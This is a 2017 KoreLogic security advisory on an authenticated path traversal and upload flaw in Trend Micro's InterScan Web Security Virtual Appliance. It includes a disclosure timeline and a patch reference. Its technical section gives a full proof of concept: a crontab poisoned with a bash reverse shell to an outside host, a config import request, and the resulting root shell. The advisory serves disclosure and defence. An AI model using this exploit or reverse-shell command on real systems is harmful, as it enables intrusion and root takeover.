KL-001-2017-003 : Trendmicro InterScan Remote Root Access Vulnerability

Title: Trendmicro InterScan Remote Root Access Vulnerability
Advisory ID: KL-001-2017-003
Publication Date: 2017.02.15
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt


1. Vulnerability Details

     Affected Vendor: Trendmicro
     Affected Product: InterScan Web Security Virtual Appliance
     Affected Version: OS Version 3.5.1321.el6.x86_64; Application
                       Version 6.5-SP2_Build_Linux_1548
     Platform: Embedded Linux
     CWE Classification: CWE-22: Improper Limitation of a Pathname to
                         a Restricted Directory ('Path Traversal'),
                         CWE-434: Unrestricted Upload of File with
                         Dangerous Type
     Impact: Root Access
     Attack vector: HTTP

2. Vulnerability Description

     Any authenticated user can overwrite specific files on the
     local system, which can be exploited to result in root access.

3. Technical Description

     An attacker can use a HTTP POST request to instruct the
     management application to backup the current appliance
     configuration into a tarball. A valid session is required.

     POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1
     Host: 1.3.3.7:8443
     [snip]

     HTTP/1.1 200 OK
     Server: Apache-Coyote/1.1
     Content-Disposition: attachment; filename="IWSVA6.5-SP2_Config.tar"
     [snip]

     Extracting the tar file gives you several files, detailed below:

     $ tar xf IWSVA6.5-SP2_Config.tar
     x Configurations/
     x Configurations/icaps.pkey
     x Configurations/ClientConnectionQuotaWhiteList.ini
     x Configurations/IWSSPINcieScan.dsc
     [snip]
     $ cd Configurations/
     $ ls -la shadow passwd crontab.iscan crontab.root S55sshd S99lanbypass
prd.passwd iscan root
     -rwxr-xr-x@ 1 level  staff   4683 25 oct 05:32 S55sshd
     -rwxr-xr-x@ 1 level  staff  13553 25 oct 05:32 S99lanbypass
     -rw-r-----@ 1 level  staff   1738 25 oct 05:32 crontab.iscan
     -rw-r-----@ 1 level  staff    416 25 oct 05:32 crontab.root
     -rw-r--r--@ 1 level  staff    693 25 oct 05:32 passwd
     -rw-r-----@ 1 level  staff     44 25 oct 05:32 prd.passwd
     ----------  1 level  staff    427 25 oct 05:32 shadow
     -rw-------@ 1 level  staff   1796 25 oct 05:50 iscan
     -rw-------@ 1 level  staff    467 25 oct 05:32 root

     The file content presents several attack scenarios:

       Obtain hashes for all accounts
       Poison shadow file with known hash
       Poison cron with a bash shell
       Poison scripts executed at boot
       Directory traversal with web shell

     The file, root, contains cron entries which are ran by the root user
     at boot. A bash reverse shell was appended to this file and a new tar
     file containing the poisoned file was created.

     $ head -n 1 root
     0-59/2 * * * * /usr/iwss/bin/systemupdate > /dev/null 2>&1
     $ echo */2 * * * * /bin/bash -i >& /dev/tcp/1.3.3.8/8086 0>&1 >> root
     $ cd ..; tar cf hacked.tar Configurations/ ProductInfo.xml

     POST
/servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=import&packageName=/usr/iwss/AdminUI/tomcat/import/hacked.tar&type=1
HTTP/1.1
     Host: 1.3.3.7:8443
     [snip]

     HTTP/1.1 302 Found
     Server: Apache-Coyote/1.1
     [snip]

     This resulted in a netcat shell as the root user.

     $ nc -lv 8086
     [root@iwsva65sp2 ~]# id;uname -a
     uid=0(root) gid=0(root) groups=0(root)
     Linux iwsva65sp2 2.6.32-504.OpenVA.3.5.1321.el6.x86_64 #1 SMP Tue Dec 23
15:08:35 CST 2014 x86_64 x86_64 x86_64 GNU/Linux
     [root@iwsva65sp2 ~]#

4. Mitigation and Remediation Recommendation

     The vendor has issued a patch for this vulnerability in Version
     6.5 CP 1737. Security advisory and link to the patched version
     available at:

     https://success.trendmicro.com/solution/1116672

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2016.12.12 - KoreLogic sends vulnerability report and PoC to
                  Trendmicro.
     2016.12.15 - Trendmicro acknowledges receipt of report.
     2017.01.11 - Trendmicro informs KoreLogic that the patch to
                  this and other KoreLogic reported issues will
                  likely be available after the 45 business day
                  deadline (2017.02.16).
     2017.02.06 - Trendmicro informs KoreLogic that the patched
                  version will be available by 2017.02.14.
     2017.02.14 - Trendmicro security advisory released.
     2017.02.15 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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